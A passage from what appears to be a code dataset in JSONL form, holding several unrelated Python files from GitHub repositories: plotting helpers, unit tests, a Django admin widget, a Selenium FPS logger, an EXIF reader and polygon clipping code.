show_plot: if True, the plot will be shown in a window during runtime\n save_as (pathlib.Path or str): full path, including filename and type (e.g. '/cfs/example/output.png')\n\n \"\"\"\n assert bool(images)\n assert sub_titles is None or len(sub_titles) == len(images)\n assert vmin is None or len(vmin) == len(images)\n assert vmin is None or len(vmin) == len(images)\n\n plt.rcParams['figure.constrained_layout.use'] = True\n\n # set up figure size and basic structure\n ratio = images[0].shape[0] / images[0].shape[1]\n base_size = 4\n text_space = 0.35 if main_title is not None else 0\n text_space += 0.35 if label_str is not None else 0\n text_space += 0.35 if pred_str is not None else 0\n text_space += 0.35 * len(additional_info) if additional_info is not None else 0\n figsize = (base_size * len(images), base_size * ratio + text_space)\n fig, axs = plt.subplots(1, len(images), figsize=figsize)\n if len(images) == 1:\n axs = [axs]\n\n if main_title is not None:\n fig.suptitle(main_title)\n\n for i, img in enumerate(images):\n axs[i].imshow(img, vmin=None if vmin is None else vmin[i], vmax=None if vmax is None else vmax[i])\n axs[i].set(xticks=[], yticks=[], title=None if sub_titles is None else sub_titles[i])\n\n text = \"\"\n color = 'black'\n\n if label_str is not None:\n text += f\"{'Label: ':8}{label_str}\"\n if label_str is not None and pred_str is not None:\n color = 'green' if label_str == pred_str else 'red'\n text += '\\n'\n if pred_str is not None:\n text += f\"{'Pred: ':8}{pred_str}\"\n\n if additional_info is not None:\n for info in additional_info:\n text += f\"\\n{info}\"\n\n plt.figtext(0.01, 0.01, text, c=color, ha='left')\n\n if show_plot:\n plt.show()\n\n if save_as is not None:\n Path(save_as).parent.mkdir(parents=True, exist_ok=True)\n plt.savefig(save_as)\n\n return fig\n\n\nif __name__ == \"__main__\":\n test_sensors = np.random.rand(38, 30)\n test_flowfront = np.random.rand(143, 111)\n test_no3 = np.random.rand(143, 111)\n # print(test_sensors)\n aux_info = [f\"Original num of states: 475 (250 with dryspot info)\",\n f\"Original num of states: 475 (250 with dryspot info)\",\n f\"Original num of states: 475 (250 with dryspot info)\"]\n imgs = [test_sensors, test_flowfront, test_no3]\n titles = ['Sensor values', 'Flowfront', 'Nochmal was']\n title = 'Test title'\n plot_sample_eval(imgs, titles, title, label_str=\"OK\", pred_str=\"OK\", additional_info=aux_info, show_plot=True)\n plot_sample_eval(imgs, titles, label_str=\"OK\", pred_str=\"OK\", additional_info=aux_info, show_plot=True)\n plot_sample_eval([test_sensors], [titles[1]], title, label_str=\"OK\", show_plot=True)\n plot_sample_eval([test_sensors], [titles[1]], label_str=\"OK\", show_plot=True)\n # plot.savefig(\"testplot.png\", bbox_inches='tight')\n","repo_name":"isse-augsburg/PermeabilityNets","sub_path":"Analysis_Visualisations/evaluation_plots.py","file_name":"evaluation_plots.py","file_ext":"py","file_size_in_byte":6480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"6329880479","text":"import unittest\nimport sys\nimport os\nimport copy\n# COMPATIBILITY: since python 3.3 mock is included in unittest module\npython_version = sys.version_info\nif python_version[:2] <= (3, 3):\n import mock\n from mock import patch\nelse:\n import unittest.mock as mock\n from unittest.mock import patch\n\n# pyConnectomist import\nfrom pyconnectomist.preproc.susceptibility import susceptibility_correction\nfrom pyconnectomist.exceptions import ConnectomistBadManufacturerNameError\nfrom pyconnectomist.exceptions import ConnectomistBadFileError\nfrom pyconnectomist.exceptions import ConnectomistMissingParametersError\n\n\nclass ConnectomistMask(unittest.TestCase):\n \"\"\" Test the Connectomist 'Susceptibility' tab:\n 'pyconnectomist.preproc.susceptibility.susceptibility_correction'\n \"\"\"\n def setUp(self):\n \"\"\" Run before each test - the mock_popen will be available and in the\n right state in every test<something> function.\n \"\"\"\n # Mocking popen\n self.popen_patcher = patch(\"pyconnectomist.wrappers.subprocess.Popen\")\n self.mock_popen = self.popen_patcher.start()\n mock_process = mock.Mock()\n attrs = {\n \"communicate.return_value\": (\"mock_OK\", \"mock_NONE\"),\n \"returncode\": 0\n }\n mock_process.configure_mock(**attrs)\n self.mock_popen.return_value = mock_process\n self.kwargs = {\n \"outdir\": \"/my/path/mock_outdir\",\n \"raw_dwi_dir\": \"/my/path/mock_rawdwidir\",\n \"rough_mask_dir\": \"/my/path/mock_rawmaskdir\",\n \"outliers_dir\": \"/my/path/mock_outliersdir\",\n \"subject_id\": \"Lola\",\n \"delta_TE\": 5,\n \"partial_fourier_factor\": 1,\n \"parallel_acceleration_factor\": 2,\n \"negative_sign\": False,\n \"echo_spacing\": None,\n \"EPI_factor\": None,\n \"b0_field\": 3.0,\n \"water_fat_shift\": 4.68\n }\n\n def tearDown(self):\n \"\"\" Run after each test.\n \"\"\"\n self.popen_patcher.stop()\n\n @mock.patch(\"pyconnectomist.preproc.susceptibility.exec_file\")\n @mock.patch(\"os.path\")\n def test_manufacturermiss_raise(self, mock_path, mock_exec):\n \"\"\" No manufacturer -> raise ConnectomistBadFileError.\n \"\"\"\n # Set the mocked functions returned values\n mock_path.join.side_effect = lambda *x: x[0] + \"/\" + x[1]\n mock_exec.return_value = {\n \"acquisitionParameters\": {}\n }\n\n # Test execution\n self.assertRaises(ConnectomistBadFileError,\n susceptibility_correction, **self.kwargs)\n\n @mock.patch(\"pyconnectomist.preproc.susceptibility.exec_file\")\n @mock.patch(\"os.path\")\n def test_manufacturer_raise(self, mock_path, mock_exec):\n \"\"\" No manufacturer -> raise ConnectomistBadManufacturerNameError.\n \"\"\"\n # Set the mocked functions returned values\n mock_path.join.side_effect = lambda *x: x[0] + \"/\" + x[1]\n mock_exec.return_value = {\n \"acquisitionParameters\": {\n \"manufacturer\": \"WRONG\"\n }\n }\n\n # Test execution\n self.assertRaises(ConnectomistBadManufacturerNameError,\n susceptibility_correction, **self.kwargs)\n\n @mock.patch(\"pyconnectomist.preproc.susceptibility.exec_file\")\n @mock.patch(\"os.path\")\n def test_params_raise(self, mock_path, mock_exec):\n \"\"\" Wrong parameters -> raise ConnectomistMissingParametersError.\n \"\"\"\n # Set the mocked functions returned values\n mock_path.join.side_effect = lambda *x: x[0] + \"/\" + x[1]\n mock_exec.return_value = {\n \"acquisitionParameters\": {\n \"manufacturer\": \"Siemens\"\n }\n }\n\n # Test execution\n self.assertRaises(ConnectomistMissingParametersError,\n susceptibility_correction, **self.kwargs)\n\n @mock.patch(\"pyconnectomist.preproc.susceptibility.ConnectomistWrapper.\"\n \"_connectomist_version_check\")\n @mock.patch(\"pyconnectomist.preproc.susceptibility.ConnectomistWrapper.\"\n \"create_parameter_file\")\n @mock.patch(\"pyconnectomist.preproc.susceptibility.exec_file\")\n @mock.patch(\"os.path\")\n def test_normal_execution(self, mock_path, mock_exec, mock_params,\n mock_version):\n \"\"\" Test the normal behaviour of the function.\n \"\"\"\n # Set the mocked functions returned values\n mock_params.return_value = \"/my/path/mock_parameters\"\n mock_path.join.side_effect = lambda *x: x[0] + \"/\" + x[1]\n mock_exec.return_value = {\n \"acquisitionParameters\": {\n \"manufacturer\": \"Siemens\"\n }\n }\n kwargs = copy.copy(self.kwargs)\n kwargs[\"echo_spacing\"] = 1\n\n # Test execution\n outdir = susceptibility_correction(**kwargs)\n expected_files = (\n \"b0_magnitude.ima\", \"b0_phase.ima\", \"acquisition_parameters.py\")\n self.assertEqual(outdir, self.kwargs[\"outdir\"])\n self.assertTrue(len(mock_params.call_args_list) == 1)\n self.assertEqual([\n mock.call(kwargs[\"raw_dwi_dir\"], elem) for elem in expected_files],\n mock_path.join.call_args_list)\n self.assertEqual([\n mock.call(os.path.join(kwargs[\"raw_dwi_dir\"], expected_files[2]))],\n mock_exec.call_args_list)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"neurospin/pyconnectomist","sub_path":"pyconnectomist/tests/tests_preproc/test_susceptibility.py","file_name":"test_susceptibility.py","file_ext":"py","file_size_in_byte":5484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"8634648175","text":"import math\nfrom scipy import spatial\nfrom .classification_common import update_result_image\n\ndef point_distance_squared(point_1, point_2):\n return (float(point_2[0]) - float(point_1[0]))**2 + (float(point_2[1]) - float(point_1[1]))**2\n\n\n# Returns the number of image \"sides\" the point is within distance of\ndef count_close_sides(point, image_size, distance):\n counter = 0\n if point[0] < distance:\n counter += 1\n if point[1] < distance:\n counter += 1\n if point[0] + distance > image_size[0]:\n counter += 1\n if point[1] + distance > image_size[1]:\n counter += 1\n return counter\n\n\ndef classify_by_neighbor_count(image_size, circle, neighbor_count, distance):\n # Six neighbors in hexagonal pattern + 1 for itself\n required_neighbors = 7\n\n # Reduce the number of required neighbors if the circle is close to the side of the image:\n close_sides_count = count_close_sides((circle[0], circle[1]), image_size, distance)\n required_neighbors = required_neighbors - close_sides_count * 3\n\n # Classify\n return 1 if neighbor_count >= required_neighbors else 0\n\n\ndef classify_circles_by_distance(img, circles, radius, loose_circle_threshold):\n image_size = (len(img[0]), len(img))\n classification = []\n\n distance = radius * 2 * loose_circle_threshold\n\n points = list((circle[0], circle[1]) for circle in circles)\n tree = spatial.cKDTree(points)\n neighbors_count = tree.query_ball_point(points, distance, return_length=True)\n\n for i in range(len(circles)):\n classification.append(classify_by_neighbor_count(image_size, circles[i], neighbors_count[i], distance))\n\n return classification\n\n\nclass DistanceClassifier:\n def __init__(self):\n pass\n\n @staticmethod\n def get_name():\n return \"Distance\"\n\n @staticmethod\n def get_parameter_list():\n return [\n ['Loose circle tolerance', 1, 100, 50],\n ['Radius', 0, 100, 10],\n ]\n\n @staticmethod\n def evaluate(img, circles, parameters):\n return classify_circles_by_distance(img, circles, parameters['Radius'], (parameters['Loose circle tolerance'] + 49.0) / 50.0)\n\n @staticmethod\n def update_result_image(img, active_image_area, circles, results : list[int], draw_parameters):\n update_result_image(img, active_image_area, circles, results, draw_parameters)\n","repo_name":"domonmar/HEXI","sub_path":"processors/classifiers/classification_distance.py","file_name":"classification_distance.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23354486800","text":"\"\"\" In a array A of size 2N, there are N+1 unique elements, and exactly one of these elements is repeated N times.\n\n Return the element repeated N times.\n\"\"\"\n\n\"\"\" SOLUTION: Create a sliding window of size 4 and check if there are any repeated elements in the window.\n \n\"\"\"\n\nclass Solution(object):\n def repeatedNTimes(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n # Create a window of size 4 - return the element occuring more than once\n i = 0\n win = 4\n while (i + win) <= len(A):\n temp = A[i:i+win]\n if len(temp) != len(set(temp)):\n d = {}\n for j in temp:\n if j in d:\n d[j] += 1\n else:\n d[j] = 1\n for k,v in d.items():\n if v > 1:\n return k\n i += 1\n","repo_name":"sheelabhadra/LeetCode-Python","sub_path":"961_N-Repeated_Element.py","file_name":"961_N-Repeated_Element.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"74748035012","text":"#!/usr/bin/env python\r\nfrom __future__ import print_function\r\nimport csv\r\nimport sys\r\nimport time\r\nimport argparse\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\r\n\r\nimport settings\r\n\r\nclass FpsCapturer:\r\n def __init__(self, args):\r\n self.webdriver_pathname = settings.WEBDRIVER_PATH\r\n self.webgl_sample_url = settings.WEBGL_SAMPLE_URL\r\n self.duration = None\r\n self.number = None\r\n if args.time:\r\n self.duration = args.time * 3600\r\n elif args.min:\r\n self.duration = args.min * 60\r\n else:\r\n self.number = args.number\r\n\r\n self.data_file = args.file\r\n self.draw_chart = args.withchart\r\n self.data = []\r\n\r\n self.d = DesiredCapabilities.CHROME\r\n self.d['loggingPrefs'] = {'browser': 'ALL'}\r\n self.webdriver = webdriver.Chrome(executable_path=self.webdriver_pathname, desired_capabilities=self.d)\r\n self.webdriver.get(self.webgl_sample_url)\r\n time.sleep(settings.SAMPLE_INITIALIZATION_TIME)\r\n\r\n def start(self):\r\n start_time = time.time()\r\n start_count = 0\r\n while True:\r\n this_time = time.time()\r\n localtime = time.localtime(this_time)\r\n if this_time - start_time >= self.duration:\r\n break\r\n if self.number and start_count >= self.number:\r\n break\r\n fps = self.webdriver.find_element_by_id('fps').get_attribute('innerText')\r\n time_value = '%02d:%02d:%02d' % (localtime.tm_hour, localtime.tm_min, localtime.tm_sec)\r\n fps_value = str(fps)\r\n record = (time_value, fps_value)\r\n self.data.append(record)\r\n print('fps:'.join(['[' + record[0] + ']', record[1]]))\r\n time.sleep(1)\r\n if self.number:\r\n start_count += 1\r\n\r\n self.webdriver.quit()\r\n\r\n with open(self.data_file, 'wb') as fp:\r\n csv_writer = csv.writer(fp)\r\n csv_writer.writerow(['Time', 'Fps'])\r\n for record in self.data:\r\n csv_writer.writerow(record)\r\n\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser(description='A utility to get the fps data of webgl samples')\r\n parser.add_argument('-t', '--time', type=int,\r\n help='specify the duration you want go get the fps, in hour.')\r\n parser.add_argument('-m', '--min', type=int, default = 5,\r\n help = 'specify the duration in minute, useful when --time is less than 1 hour and not set,'\r\n ' default value is 5 minutes.')\r\n parser.add_argument('-f', '--file', type=str, default='fps.csv',\r\n help='specify the fps data file to store in csv format, default value is fps.csv.')\r\n parser.add_argument('-n', '--number', help='specify the number of capturing the fps data.')\r\n parser.add_argument('-c', '--withchart', action='store_true',\r\n help='specify whether generate the fps data chart.')\r\n args = parser.parse_args()\r\n print(args)\r\n fps_capturer = FpsCapturer(args)\r\n fps_capturer.start()\r\n\r\n\r\nif __name__ == '__main__':\r\n try:\r\n sys.exit(main())\r\n except KeyboardInterrupt:\r\n sys.err.write('Testing interrupted!')\r\n sys.exit(1)\r\n","repo_name":"haoyunfeix/webvr-benchmark-test","sub_path":"fps.py","file_name":"fps.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30393043962","text":"import exifread\n\nDEBUG=True\n\ndef extract_exif_data(image_path):\n # Open image file for reading (binary mode)\n image = open(image_path, 'rb')\n\n # Return Exif tags\n tags = exifread.process_file(image)\n\n if DEBUG:\n if tags:\n import pprint\n pp = pprint.PrettyPrinter(indent=4)\n pp.pprint(tags)\n else:\n print(\"No EXIF tags found\")\n\n return tags\n\nif __name__ == '__main__':\n extract_exif_data('../data/s7_image_2.jpg')\n","repo_name":"stevelaskaridis/image-storytelling","sub_path":"src/exifExtractor.py","file_name":"exifExtractor.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"24866934009","text":"from django.contrib.admin import ModelAdmin, widgets\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.core.urlresolvers import reverse\nfrom django.utils.safestring import mark_safe\n\n\n@user_passes_test(lambda u: u.is_staff)\ndef label_view(request, app_name, model_name, template_name=\"\", multi=False, template_object_name=\"object\"):\n from django.http import HttpResponse\n from django.shortcuts import render_to_response\n from django.db.models import get_model\n\n pk = request.GET.get(\"pk\", \"\")\n model = get_model(app_name, model_name)\n url_id = \"admin:%s_%s_change\" % (app_name, model_name)\n obj_tuple = lambda o: (o, reverse(url_id, args=[o.pk]))\n try:\n if multi:\n if pk:\n ids = pk.split(\",\")\n model_template = \"admin/raw_id_fields/%s/multi_%s.html\" % (\n app_name, model_name)\n objects = [\n obj_tuple(obj) for obj in model.objects.filter(pk__in=ids)]\n extra_context = {template_object_name: objects, }\n else:\n model_template = \"admin/raw_id_fields/%s/%s.html\" % (\n app_name, model_name)\n extra_context = {\n template_object_name: obj_tuple(model.objects.get(pk=pk)),\n }\n except model.DoesNotExist:\n return HttpResponse(\"\")\n return render_to_response((model_template, template_name), extra_context)\n\n\nclass SmartForeignKeyRawIdWidget(widgets.ForeignKeyRawIdWidget):\n def __init__(self, label_url, *args, **kwargs):\n self.label_url = label_url\n super(SmartForeignKeyRawIdWidget, self).__init__(*args, **kwargs)\n\n def label_for_value(self, value=None):\n return \"\"\n\n def render(self, name, value, attrs=None):\n attrs = attrs or {}\n mdl = (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())\n attrs['data-chu'] = reverse(\"admin:%s_%s_changelist\" % mdl)\n attrs['data-wsu'] = reverse(\"admin:{}\".format(self.label_url), args=mdl)\n output = super(SmartForeignKeyRawIdWidget, self).render(name, value, attrs)\n return mark_safe(output)\n\n class Media:\n js = (\"admin/js/smart_raw_id.js\",)\n css = {\n 'all': ('admin/css/smart_raw_id.css',)\n }\n\n\nclass SmartManyToManyRawIdWidget(widgets.ManyToManyRawIdWidget):\n def __init__(self, label_url, *args, **kwargs):\n self.label_url = label_url\n super(SmartManyToManyRawIdWidget, self).__init__(*args, **kwargs)\n\n def label_for_value(self, value):\n return u''\n\n def render(self, name, value, attrs=None):\n attrs = attrs or {}\n mdl = (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())\n attrs['data-chu'] = reverse(\"admin:%s_%s_changelist\" % mdl)\n attrs['data-wsu'] = reverse(\"admin:{}\".format(self.label_url), args=mdl)\n output = super(SmartManyToManyRawIdWidget, self).render(name, value, attrs)\n return mark_safe(output)\n\n class Media:\n js = (\"admin/js/smart_raw_id.js\",)\n css = {\n 'all': ('admin/css/smart_raw_id.css',)\n }\n\n\nclass SmartOneRawIdMixin(object):\n\n @property\n def admin_prefix_url(self):\n return \"{}_{}\".format(self.opts.app_label, self.opts.model_name)\n\n @property\n def one_label_url(self):\n return \"{}_raw_id_label\".format(self.admin_prefix_url)\n\n def get_urls(self):\n urls = super(SmartOneRawIdMixin, self).get_urls()\n from django.conf.urls import patterns, url\n my_urls = patterns(\n 'smart_raw_id.admin',\n url(\n r'^label_view/(?P<app_name>[\\w-]+)/(?P<model_name>[\\w-]+)/$',\n 'label_view',\n {'template_name': 'admin/raw_id_fields/label.html'},\n name=self.one_label_url,\n )\n )\n return my_urls + urls\n\n def formfield_for_foreignkey(self, db_field, request=None, **kwargs):\n from django.contrib.admin.options import get_ul_class\n from django.utils.translation import ugettext as _\n \"\"\"\n Get a form Field for a ForeignKey.\n \"\"\"\n db = kwargs.get('using')\n if db_field.name in self.raw_id_fields:\n kwargs['widget'] = SmartForeignKeyRawIdWidget(\n self.one_label_url, db_field.rel, self.admin_site, using=db)\n elif db_field.name in self.radio_fields:\n kwargs['widget'] = widgets.AdminRadioSelect(attrs={\n 'class': get_ul_class(self.radio_fields[db_field.name]),\n })\n kwargs['empty_label'] = _('None') if db_field.blank else None\n\n if not 'queryset' in kwargs:\n queryset = self.get_field_queryset(db, db_field, request)\n if queryset is not None:\n kwargs['queryset'] = queryset\n\n return db_field.formfield(**kwargs)\n\n\nclass SmartManyRawIdMixin(object):\n\n @property\n def admin_prefix_url(self):\n return \"{}_{}\".format(self.opts.app_label, self.opts.model_name)\n\n @property\n def many_label_url(self):\n return \"{}_raw_id_multi_label\".format(self.admin_prefix_url)\n\n def get_urls(self):\n urls = super(SmartManyRawIdMixin, self).get_urls()\n from django.conf.urls import patterns, url\n my_urls = patterns(\n 'smart_raw_id.admin',\n url(\n r'^label_view/(?P<app_name>[\\w-]+)/(?P<model_name>[\\w-]+)/multi/$',\n 'label_view',\n {\n 'multi': True,\n 'template_object_name': 'objects',\n 'template_name': 'admin/raw_id_fields/multi_label.html'\n },\n name=self.many_label_url,\n )\n )\n return my_urls + urls\n\n def formfield_for_manytomany(self, db_field, request=None, **kwargs):\n \"\"\"\n Get a form Field for a ManyToManyField.\n \"\"\"\n # If it uses an intermediary model that isn't auto created, don't show\n # a field in admin.\n if not db_field.rel.through._meta.auto_created:\n return None\n db = kwargs.get('using')\n\n if db_field.name in self.raw_id_fields:\n kwargs['widget'] = SmartManyToManyRawIdWidget(self.many_label_url, db_field.rel, self.admin_site, using=db)\n kwargs['help_text'] = ''\n elif db_field.name in (list(self.filter_vertical) + list(self.filter_horizontal)):\n kwargs['widget'] = widgets.FilteredSelectMultiple(db_field.verbose_name, (db_field.name in self.filter_vertical))\n\n if not 'queryset' in kwargs:\n queryset = self.get_field_queryset(db, db_field, request)\n if queryset is not None:\n kwargs['queryset'] = queryset\n\n return db_field.formfield(**kwargs)\n\n\nclass SmartRawIdMixin(SmartOneRawIdMixin, SmartManyRawIdMixin):\n pass\n","repo_name":"depaolim/django_smart_raw_id","sub_path":"smart_raw_id/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":6870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34730833224","text":"# checks for asos that never match any of the provided sequences\n\n# import necessary modules\nimport pandas as pd\nfrom Bio.Seq import Seq\n\n\n# read in the whole dataframe\ndf = pd.read_csv(\"../Data/Complete_ASOtoTranscriptSeq.tsv\", sep=\" \")\n\n# list unique geneIDs\nunique_asos = df.ASOseq.unique()\n\n# determine number of sequences each aso shows up in\naso_check = {}\nfor i in unique_asos:\n aso_check[i] = 0\n\nfor i, r in df.iterrows():\n if str(Seq(r.ASOseq).reverse_complement()) in r.Sequence:\n aso_check[str(r.ASOseq)] = aso_check[str(r.ASOseq)] + 1\n\n# identify asos that never match a sequence\nmissing_asos = []\nfor i in aso_check.keys():\n if aso_check[i] == 0:\n missing_asos.append(i)\n\n","repo_name":"lackeylela/openASO","sub_path":"covertingcoordinates/validated_coordinate_conversion/unique_checks/aso_match_check.py","file_name":"aso_match_check.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"44"} +{"seq_id":"19701050028","text":"#coding=utf-8\r\n\r\n#@time:2019/3/27 8:23\r\n#@author: Sheng Guangxiao\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nwidth=100\r\nheight=100\r\n\r\ndef pointInRec(p):\r\n if 0<=p[0]<=width and 0<=p[1]<=height:\r\n return True\r\n return False\r\n\r\n# Thanks to Paul Draper at\r\n# http://stackoverflow.com/questions/20677795/find-the-point-of-intersecting-lines\r\ndef line_intersection(line1, line2):\r\n xdiff = (line1[0][0] - line1[1][0], line2[0][0] - line2[1][0])\r\n ydiff = (line1[0][1] - line1[1][1], line2[0][1] - line2[1][1])\r\n\r\n def det(a, b):\r\n return a[0] * b[1] - a[1] * b[0]\r\n\r\n div = det(xdiff, ydiff)\r\n if div == 0:\r\n return 99999,99999\r\n\r\n d = (det(*line1), det(*line2))\r\n x = det(d, xdiff) / div\r\n y = det(d, ydiff) / div\r\n return x, y\r\n\r\ndef calcIntersection(p0,p1,tempRecIndex):\r\n # print('p0,p1',p0,p1,tempRecIndex)\r\n\r\n pb1 = [p0, p1]\r\n pb2 = [[0,0],[width,0]]\r\n x,y=line_intersection(pb1, pb2)\r\n\r\n result=(None,None,None)\r\n\r\n currentDiff=4\r\n\r\n if min(p0[0],p1[0])<=x<=max(p0[0],p1[0]) and min(p0[1],p1[1])<=y<=max(p0[1],p1[1]) and 0<=x<=width and 0<=y<=height:\r\n if result[0] is None and not (x==p0[0] and y==p0[1]) and not (x==p1[0] and y==p1[1]):\r\n result=(x,y,1)\r\n currentDiff=(1-tempRecIndex)%4\r\n\r\n pb2 = [[width, 0], [width, height]]\r\n x, y = line_intersection(pb1, pb2)\r\n\r\n if min(p0[0],p1[0])<=x<=max(p0[0],p1[0]) and min(p0[1],p1[1])<=y<=max(p0[1],p1[1]) and 0<=x<=width and 0<=y<=height:\r\n if result[0] is None and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result =(x, y, 2)\r\n if (2-tempRecIndex)%4<currentDiff and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result=(x,y,2)\r\n currentDiff=(2-tempRecIndex)%4\r\n\r\n pb2 = [[width, height], [0, height]]\r\n x, y = line_intersection(pb1, pb2)\r\n\r\n if min(p0[0],p1[0])<=x<=max(p0[0],p1[0]) and min(p0[1],p1[1])<=y<=max(p0[1],p1[1]) and 0<=x<=width and 0<=y<=height:\r\n if result[0] is None and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result =(x, y, 3)\r\n if (3-tempRecIndex)%4<currentDiff and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result=(x,y,3)\r\n currentDiff=(3-tempRecIndex)%4\r\n\r\n pb2 = [[0, height], [0, 0]]\r\n x, y = line_intersection(pb1, pb2)\r\n\r\n if min(p0[0], p1[0]) <= x <= max(p0[0], p1[0]) and min(p0[1], p1[1]) <= y <= max(p0[1], p1[1]) and 0<=x<=width and 0<=y<=height:\r\n if result[0] is None and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result =(x, y, 4)\r\n if (4-tempRecIndex)%4<currentDiff and not (x == p0[0] and y == p0[1]) and not (x == p1[0] and y == p1[1]):\r\n result=(x,y,4)\r\n\r\n return result\r\n\r\ndef somepointInRec(pointList):\r\n for point in pointList:\r\n if 0<=point[0]<=width and 0<=point[1]<=height:\r\n return True\r\n return False\r\n\r\ndef entireInRec(pointList,tempRecIndex):\r\n i=-1\r\n\r\n while i<len(pointList):\r\n if calcIntersection(pointList[i],pointList[i+1],tempRecIndex)[0] is not None:\r\n return True\r\n i+=1\r\n return False\r\n\r\nif __name__ == '__main__':\r\n\r\n recList=[[0,0],[width,0],[width,height],[0,height],[0,0]]\r\n\r\n x=[x[0] for x in recList]\r\n y=[x[1] for x in recList]\r\n\r\n # pointList1=[[50,50],[110,50],[50,110],[50,50]]\r\n # pointList1=[[50,50],[120,110],[-20,110],[50,50]]\r\n # pointList1=[[50,-10],[110,50],[50,110],[-10,50],[50,-10]]\r\n # pointList1=[[50,-100],[150,50],[60,200],[40,200],[20,150],[0,-50],[50,-100]]\r\n # pointList1=[[50,0],[0,-100],[100,-100],[50,0]]\r\n # pointList1=[[0,10],[0,-100],[50,-100],[50,50],[0,10]]\r\n pointList1=[[40,50],[-100,-50],[10,-50],[160,50],[40,50]]\r\n\r\n x1=[x[0] for x in pointList1]\r\n y1=[x[1] for x in pointList1]\r\n\r\n newList=[]\r\n\r\n i=0\r\n\r\n lengthRec=4\r\n lengthPolygon=len(pointList1)\r\n\r\n lastPoint=\"\"\r\n firstPoint=\"\"\r\n firstI=0\r\n firstTmpRecIndex=0\r\n\r\n tempRecIndex = 0\r\n\r\n if somepointInRec(pointList1):\r\n if pointInRec(pointList1[i]):\r\n firstPoint = pointList1[i]\r\n firstI=i\r\n\r\n newList.append(pointList1[i])\r\n lastPoint=pointList1[i]\r\n i+=1\r\n\r\n else:\r\n while not pointInRec(pointList1[i]):\r\n i+=1\r\n\r\n firstPoint = pointList1[i]\r\n firstI=i\r\n\r\n newList.append(pointList1[i])\r\n lastPoint=pointList1[i]\r\n i+=1\r\n\r\n else:\r\n if entireInRec(pointList1,1):\r\n while True:\r\n calcResult=calcIntersection(pointList1[i%len(pointList1)],pointList1[(i+1)%len(pointList1)],1)\r\n\r\n if calcResult[0] is not None:\r\n i+=1\r\n newList.append([calcResult[0],calcResult[1]])\r\n lastPoint=[calcResult[0],calcResult[1]]\r\n\r\n firstPoint = [calcResult[0],calcResult[1]]\r\n firstTmpRecIndex=calcResult[2]\r\n firstI=i\r\n\r\n tempRecIndex=calcResult[2]\r\n\r\n break\r\n\r\n i+=1\r\n else:\r\n raise Exception(\"多边形和多边形之间完全不相交\")\r\n\r\n print('newList',newList)\r\n\r\n i0=i\r\n\r\n lastPointInside=True\r\n\r\n while i<i0+lengthPolygon:\r\n point=pointList1[i%lengthPolygon]\r\n # print('i',i,i%lengthPolygon)\r\n print('newList',newList,lastPointInside,pointInRec(point),lastPoint,point,tempRecIndex)\r\n\r\n deathloop=False\r\n\r\n if lastPointInside:\r\n if pointInRec(point):\r\n print('add5',point)\r\n newList.append(point)\r\n lastPoint=point\r\n\r\n lastPointInside=True\r\n else:\r\n calcResult=calcIntersection(lastPoint,point,tempRecIndex)\r\n print('calcResult',calcResult,lastPoint,point)\r\n if [calcResult[0],calcResult[1]] in newList:\r\n if len(newList)==1:\r\n calcResult = calcIntersection(lastPoint, point, tempRecIndex+1)\r\n print('some',calcResult)\r\n if tempRecIndex != 0:\r\n # tempRecIndex+=1\r\n while calcResult[2] != tempRecIndex:\r\n # print('calcResult',calcResult)\r\n print('add333')\r\n newList.append(recList[tempRecIndex])\r\n tempRecIndex = 1 + (tempRecIndex) % 4\r\n else:\r\n tempRecIndex=calcResult[2]\r\n\r\n\r\n if calcResult[0] is not None:\r\n tempRecIndex=calcResult[2]\r\n print('add4',calcResult,lastPoint,point)\r\n newList.append([calcResult[0],calcResult[1]])\r\n\r\n lastPoint=point\r\n else:\r\n lastPoint=point\r\n\r\n lastPointInside = False\r\n\r\n else:\r\n if pointInRec(point):\r\n calcResult = calcIntersection(lastPoint, point,tempRecIndex)\r\n\r\n if tempRecIndex!=0:\r\n while calcResult[2]!=tempRecIndex:\r\n # print('calcResult',calcResult)\r\n print('add3')\r\n newList.append(recList[tempRecIndex])\r\n tempRecIndex=1+(tempRecIndex)%4\r\n\r\n # print('calcResult',calcResult)\r\n print('add2',point)\r\n newList.append([calcResult[0], calcResult[1]])\r\n\r\n newList.append(point)\r\n lastPoint = point\r\n\r\n lastPointInside=True\r\n else:\r\n while True:\r\n point=pointList1[i%lengthPolygon]\r\n calcResult = calcIntersection(lastPoint, point,tempRecIndex)\r\n\r\n if calcResult[0] is not None:\r\n\r\n if tempRecIndex != 0:\r\n # tempRecIndex+=1\r\n print('current',tempRecIndex,calcResult[2])\r\n while calcResult[2] != tempRecIndex:\r\n # print('calcResult',calcResult)\r\n print('add999',newList)\r\n 